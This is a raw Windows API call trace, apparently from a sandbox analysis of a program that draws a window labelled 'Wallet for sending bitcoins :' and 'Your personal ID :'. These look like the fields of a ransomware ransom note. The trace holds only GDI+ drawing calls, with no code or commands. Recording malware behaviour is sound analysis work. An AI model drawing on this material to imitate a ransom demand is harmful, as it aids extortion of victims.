[0286.615] RestoreDC (hdc=0x16010b4c, nSavedDC=-1) returned 1
[0286.615] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x16010b4c) returned 0x0
[0286.615] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eaac8) returned 0x0
[0286.615] GdipCreateRegion (region=0x2ea940) returned 0x0
[0286.616] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.616] GdipCreateMatrix (matrix=0x2ea940) returned 0x0
[0286.616] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.616] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ea9a8) returned 0x0
[0286.616] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.616] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.617] LocalFree (hMem=0x1de51510) returned 0x0
[0286.617] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.617] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa10) returned 0x0
[0286.617] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.617] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa18) returned 0x0
[0286.617] GetCurrentObject (hdc=0x16010b4c, type=0x1) returned 0x1b00017
[0286.617] GetCurrentObject (hdc=0x16010b4c, type=0x2) returned 0x1900010
[0286.618] GetCurrentObject (hdc=0x16010b4c, type=0x7) returned 0x6050b85
[0286.618] GetCurrentObject (hdc=0x16010b4c, type=0x6) returned 0x18a002e
[0286.618] SaveDC (hdc=0x16010b4c) returned 1
[0286.618] OffsetViewportOrgEx (in: hdc=0x16010b4c, x=0, y=0, lppt=0x27ef4a0 | out: lppt=0x27ef4a0) returned 1
[0286.618] GetTextAlign (hdc=0x16010b4c) returned 0x0
[0286.619] GetTextColor (hdc=0x16010b4c) returned 0x0
[0286.619] SetTextColor (hdc=0x16010b4c, color=0xffff) returned 0x0
[0286.619] GetCurrentObject (hdc=0x16010b4c, type=0x6) returned 0x18a002e
[0286.619] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ea5e0 | out: pv=0x2ea5e0) returned 92
[0286.619] SelectObject (hdc=0x16010b4c, h=0x50a0b98) returned 0x18a002e
[0286.620] GetBkMode (hdc=0x16010b4c) returned 2
[0286.620] SetBkMode (hdc=0x16010b4c, mode=1) returned 2
[0286.620] DrawTextExW (in: hdc=0x16010b4c, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2eaa38, format=0x2010, lpdtp=0x27ef6a0 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2eaa38) returned 14
[0286.620] RestoreDC (hdc=0x16010b4c, nSavedDC=-1) returned 1
[0286.620] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x16010b4c) returned 0x0
[0286.621] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.621] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2eaae8) returned 0x0
[0286.621] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7dad0, height=0x2eaae4) returned 0x0
[0286.621] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.621] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.621] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.622] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2eaae8) returned 0x0
[0286.622] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7dad0, height=0x2eaae4) returned 0x0
[0286.622] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.622] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.622] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.622] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.623] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.623] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.623] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea998) returned 0x0
[0286.623] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.623] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.623] LocalFree (hMem=0x1de51510) returned 0x0
[0286.623] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.624] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.624] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.624] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.624] GetCurrentObject (hdc=0x16010b4c, type=0x1) returned 0x1b00017
[0286.624] GetCurrentObject (hdc=0x16010b4c, type=0x2) returned 0x1900010
[0286.624] GetCurrentObject (hdc=0x16010b4c, type=0x7) returned 0x6050b85
[0286.625] GetCurrentObject (hdc=0x16010b4c, type=0x6) returned 0x18a002e
[0286.625] SaveDC (hdc=0x16010b4c) returned 1
[0286.625] OffsetViewportOrgEx (in: hdc=0x16010b4c, x=0, y=0, lppt=0x27efa88 | out: lppt=0x27efa88) returned 1
[0286.625] IsAppThemed () returned 0x1
[0286.625] GetThemeAppProperties () returned 0x3
[0286.625] GetThemeAppProperties () returned 0x3
[0286.625] DrawThemeBackground () returned 0x0
[0286.625] RestoreDC (hdc=0x16010b4c, nSavedDC=-1) returned 1
[0286.625] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x16010b4c) returned 0x0
[0286.626] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.626] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.626] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.626] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.626] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ea998) returned 0x0
[0286.626] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.626] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.627] LocalFree (hMem=0x1de51510) returned 0x0
[0286.627] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.627] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.627] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.628] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.628] GetCurrentObject (hdc=0x16010b4c, type=0x1) returned 0x1b00017
[0286.628] GetCurrentObject (hdc=0x16010b4c, type=0x2) returned 0x1900010
[0286.628] GetCurrentObject (hdc=0x16010b4c, type=0x7) returned 0x6050b85
[0286.628] GetCurrentObject (hdc=0x16010b4c, type=0x6) returned 0x18a002e
[0286.629] SaveDC (hdc=0x16010b4c) returned 1
[0286.629] OffsetViewportOrgEx (in: hdc=0x16010b4c, x=0, y=0, lppt=0x27efee0 | out: lppt=0x27efee0) returned 1
[0286.629] IsAppThemed () returned 0x1
[0286.629] GetThemeAppProperties () returned 0x3
[0286.629] GetThemeAppProperties () returned 0x3
[0286.629] DrawThemeBackground () returned 0x0
[0286.629] RestoreDC (hdc=0x16010b4c, nSavedDC=-1) returned 1
[0286.629] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x16010b4c) returned 0x0
[0286.629] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.630] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.630] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.630] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.630] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea998) returned 0x0
[0286.630] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.630] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.630] LocalFree (hMem=0x1de51510) returned 0x0
[0286.631] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.631] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.631] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.631] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.631] GetCurrentObject (hdc=0x16010b4c, type=0x1) returned 0x1b00017
[0286.631] GetCurrentObject (hdc=0x16010b4c, type=0x2) returned 0x1900010
[0286.632] GetCurrentObject (hdc=0x16010b4c, type=0x7) returned 0x6050b85
[0286.632] GetCurrentObject (hdc=0x16010b4c, type=0x6) returned 0x18a002e
[0286.632] SaveDC (hdc=0x16010b4c) returned 1
[0286.632] OffsetViewportOrgEx (in: hdc=0x16010b4c, x=0, y=0, lppt=0x27f0338 | out: lppt=0x27f0338) returned 1
[0286.632] IsAppThemed () returned 0x1
[0286.632] GetThemeAppProperties () returned 0x3
[0286.632] GetThemeAppProperties () returned 0x3
[0286.632] DrawThemeBackground () returned 0x0
[0286.632] RestoreDC (hdc=0x16010b4c, nSavedDC=-1) returned 1
[0286.633] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x16010b4c) returned 0x0
[0286.633] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.633] SelectPalette (hdc=0x16010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.633] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0286.634] SetTextColor (hdc=0x17010b4c, color=0xffffff) returned 0x0
[0286.634] SetBkColor (hdc=0x17010b4c, color=0x80) returned 0xffffff
[0286.636] BeginPaint (in: hWnd=0x2029e, lpPaint=0x2ec018 | out: lpPaint=0x2ec018) returned 0x2010b40
[0286.636] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.636] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.636] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0286.636] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0286.636] GetSystemMetrics (nIndex=42) returned 0
[0286.636] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2ebea0, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0286.636] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2ebea0) returned 0x12
[0286.637] GetClientRect (in: hWnd=0x2029e, lpRect=0x2ec068 | out: lpRect=0x2ec068) returned 1
[0286.637] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.637] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.637] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.637] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.637] SaveDC (hdc=0x2010b40) returned 1
[0286.638] GetNearestColor (hdc=0x2010b40, color=0x80) returned 0x80
[0286.638] CreateSolidBrush (color=0x80) returned 0x1e1007d3
[0286.638] FillRect (hDC=0x2010b40, lprc=0x2ebd58, hbr=0x1e1007d3) returned 1
[0286.638] DeleteObject (ho=0x1e1007d3) returned 1
[0286.638] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.638] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0286.638] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0286.639] GetSystemMetrics (nIndex=42) returned 0
[0286.639] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2ebea0, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0286.639] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2ebea0) returned 0x12
[0286.639] IsAppThemed () returned 0x1
[0286.639] GetThemeAppProperties () returned 0x3
[0286.639] GetThemeAppProperties () returned 0x3
[0286.639] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x3080b87
[0286.639] GdipCreateFromHDC (hdc=0x2010b40, graphics=0x2ebf48) returned 0x0
[0286.639] GdipSetPageUnit (graphics=0x1c5a7fc0, unit=0x2) returned 0x0
[0286.639] GdipCreateMatrix (matrix=0x2ebe40) returned 0x0
[0286.640] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.640] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebea8) returned 0x0
[0286.640] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.640] GdipCreateRegion (region=0x2ebe40) returned 0x0
[0286.640] GdipGetClip (graphics=0x1c5a7fc0, region=0x1c5a8390) returned 0x0
[0286.640] GdipIsInfiniteRegion (region=0x1c5a8390, graphics=0x1c5a7fc0, result=0x2ebea0) returned 0x0
[0286.640] GdipDeleteRegion (region=0x1c5a8390) returned 0x0
[0286.641] GdipSaveGraphics (graphics=0x1c5a7fc0, state=0x2ebf40) returned 0x0
[0286.641] IsAppThemed () returned 0x1
[0286.641] GetThemeAppProperties () returned 0x3
[0286.641] GetThemeAppProperties () returned 0x3
[0286.641] IsAppThemed () returned 0x1
[0286.641] GetThemeAppProperties () returned 0x3
[0286.641] GetThemeAppProperties () returned 0x3
[0286.641] IsThemePartDefined () returned 0x1
[0286.641] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd38) returned 0x0
[0286.641] GdipCreateRegion (region=0x2ebbb0) returned 0x0
[0286.641] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.641] GdipCreateMatrix (matrix=0x2ebbb0) returned 0x0
[0286.642] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.642] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc18) returned 0x0
[0286.642] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.642] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.642] LocalFree (hMem=0x1de51510) returned 0x0
[0286.642] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.644] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc80) returned 0x0
[0286.644] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.644] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc88) returned 0x0
[0286.644] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.645] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.645] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.645] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.645] SaveDC (hdc=0x2010b40) returned 1
[0286.646] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27f1070 | out: lppt=0x27f1070) returned 1
[0286.646] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.646] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eba80 | out: pv=0x2eba80) returned 92
[0286.646] SelectObject (hdc=0x2010b40, h=0x50a0b98) returned 0x18a002e
[0286.646] DrawTextExW (in: hdc=0x2010b40, lpchText="Your personal ID :", cchText=18, lprc=0x2ebd38, format=0x2410, lpdtp=0x27f1088 | out: lpchText="Your personal ID :", lprc=0x2ebd38) returned 14
[0286.647] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.647] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.647] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd08) returned 0x0
[0286.647] GdipCreateRegion (region=0x2ebb80) returned 0x0
[0286.647] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.648] GdipCreateMatrix (matrix=0x2ebb80) returned 0x0
[0286.648] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.648] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbe8) returned 0x0
[0286.648] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.648] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.648] LocalFree (hMem=0x1de51510) returned 0x0
[0286.648] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.649] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc50) returned 0x0
[0286.649] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.649] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc58) returned 0x0
[0286.649] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.649] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.649] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.649] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.650] SaveDC (hdc=0x2010b40) returned 1
[0286.650] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27f1488 | out: lppt=0x27f1488) returned 1
[0286.650] GetTextAlign (hdc=0x2010b40) returned 0x0
[0286.650] GetTextColor (hdc=0x2010b40) returned 0x0
[0286.651] SetTextColor (hdc=0x2010b40, color=0xffff) returned 0x0
[0286.651] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.651] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb820 | out: pv=0x2eb820) returned 92
[0286.651] SelectObject (hdc=0x2010b40, h=0x50a0b98) returned 0x18a002e
[0286.652] GetBkMode (hdc=0x2010b40) returned 2
[0286.652] SetBkMode (hdc=0x2010b40, mode=1) returned 2
[0286.652] DrawTextExW (in: hdc=0x2010b40, lpchText="Your personal ID :", cchText=18, lprc=0x2ebc78, format=0x2010, lpdtp=0x27f1688 | out: lpchText="Your personal ID :", lprc=0x2ebc78) returned 14
[0286.652] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.653] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.653] GetDC (hWnd=0x0) returned 0x1010a48
[0286.653] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ebd28) returned 0x0
[0286.654] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7d7c0, height=0x2ebd24) returned 0x0
[0286.654] GdipDeleteGraphics (graphics=0x1cb7d7c0) returned 0x0
[0286.654] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0286.654] GetDC (hWnd=0x0) returned 0x1010a48
[0286.654] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ebd28) returned 0x0
[0286.654] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7d7c0, height=0x2ebd24) returned 0x0
[0286.655] GdipDeleteGraphics (graphics=0x1cb7d7c0) returned 0x0
[0286.655] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0286.655] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.655] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.655] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.655] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.656] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.656] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.656] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.656] LocalFree (hMem=0x1de51510) returned 0x0
[0286.656] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.657] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.657] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.657] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.657] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.657] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.658] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.658] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.658] SaveDC (hdc=0x2010b40) returned 1
[0286.658] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27f1a70 | out: lppt=0x27f1a70) returned 1
[0286.658] IsAppThemed () returned 0x1
[0286.658] GetThemeAppProperties () returned 0x3
[0286.658] GetThemeAppProperties () returned 0x3
[0286.658] DrawThemeBackground () returned 0x0
[0286.659] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.659] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.659] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.659] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.659] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.659] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.660] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbd8) returned 0x0
[0286.660] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.660] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.660] LocalFree (hMem=0x1de51510) returned 0x0
[0286.660] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.660] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.661] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.661] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.661] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.661] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.661] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.661] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.662] SaveDC (hdc=0x2010b40) returned 1
[0286.662] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27f1ec8 | out: lppt=0x27f1ec8) returned 1
[0286.662] IsAppThemed () returned 0x1
[0286.662] GetThemeAppProperties () returned 0x3
[0286.662] GetThemeAppProperties () returned 0x3
[0286.662] DrawThemeBackground () returned 0x0
[0286.662] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.662] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.662] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.663] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.663] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.663] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.663] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.663] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.663] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.664] LocalFree (hMem=0x1de51510) returned 0x0
[0286.664] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.664] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.664] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.664] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.665] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.665] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.665] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.665] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.665] SaveDC (hdc=0x2010b40) returned 1
[0286.666] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27f2320 | out: lppt=0x27f2320) returned 1
[0286.666] IsAppThemed () returned 0x1
[0286.666] GetThemeAppProperties () returned 0x3
[0286.666] GetThemeAppProperties () returned 0x3
[0286.666] DrawThemeBackground () returned 0x0
[0286.666] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.666] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.666] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0286.667] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=0) returned 0x3080b87
[0286.667] SelectPalette (hdc=0x2010b40, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.667] EndPaint (hWnd=0x2029e, lpPaint=0x2ebfb8) returned 1
[0286.667] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0
[0286.667] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.667] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0286.668] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0286.668] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0286.669] GetSystemMetrics (nIndex=42) returned 0
[0286.669] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2eb420, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0286.669] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2eb420) returned 0x12
[0286.669] GetClientRect (in: hWnd=0x2029e, lpRect=0x2eb5e8 | out: lpRect=0x2eb5e8) returned 1
[0286.669] GetCurrentObject (hdc=0x18010b4c, type=0x1) returned 0x1b00017
[0286.669] GetCurrentObject (hdc=0x18010b4c, type=0x2) returned 0x1900010
[0286.669] GetCurrentObject (hdc=0x18010b4c, type=0x7) returned 0x6050b85
[0286.669] GetCurrentObject (hdc=0x18010b4c, type=0x6) returned 0x18a002e
[0286.670] SaveDC (hdc=0x18010b4c) returned 1
[0286.670] GetNearestColor (hdc=0x18010b4c, color=0x80) returned 0x80
[0286.670] CreateSolidBrush (color=0x80) returned 0x1f1007d3
[0286.670] FillRect (hDC=0x18010b4c, lprc=0x2eb2d8, hbr=0x1f1007d3) returned 1
[0286.670] DeleteObject (ho=0x1f1007d3) returned 1
[0286.670] RestoreDC (hdc=0x18010b4c, nSavedDC=-1) returned 1
[0286.671] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0286.671] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0286.671] GetSystemMetrics (nIndex=42) returned 0
[0286.671] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2eb420, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0286.671] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2eb420) returned 0x12
[0286.671] IsAppThemed () returned 0x1
[0286.671] GetThemeAppProperties () returned 0x3
[0286.671] GetThemeAppProperties () returned 0x3
[0286.671] SelectPalette (hdc=0x18010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.671] GdipCreateFromHDC (hdc=0x18010b4c, graphics=0x2eb4c8) returned 0x0
[0286.672] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0286.672] GdipCreateMatrix (matrix=0x2eb3c0) returned 0x0
[0286.672] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.672] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eb428) returned 0x0
[0286.672] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.672] GdipCreateRegion (region=0x2eb3c0) returned 0x0
[0286.673] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.673] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb420) returned 0x0
[0286.673] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
